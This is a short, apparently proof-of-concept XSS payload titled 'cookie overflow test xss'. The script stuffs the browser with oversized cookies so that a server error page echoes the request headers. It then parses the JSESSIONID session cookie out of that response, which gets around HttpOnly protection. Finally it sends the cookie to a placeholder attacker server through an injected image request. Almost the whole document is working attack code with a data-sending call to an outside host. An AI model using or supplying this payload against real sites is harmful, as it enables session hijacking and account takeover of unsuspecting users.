cookie overflow test xss

<script>

var value=get_cookie_apache_overflow("JSESSIONID");
document.write("<img src=\"http://<attackers-server>/" + value + "\">");

function get_cookie_apache_overflow(cookiename) {
    var cv = (new Array(1024)).join("x");
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", "/overflow", false );
    for (var i=0; i< 15; i++) {document.cookie="c"+i+"="+cv+";path=/";}
    xmlHttp.send( null );
    for (var i=0; i< 15; i++) {document.cookie="c"+i+"="+cv+";path=/;expires=Thu, 01 Jan 1970 00:00:00 UTC";}
    //document.write(xmlHttp.responseText);
    return xmlHttp.responseText.substring(xmlHttp.responseText.indexOf(cookiename)).split(";",2)[0].split("=",3)[1];
}

</script>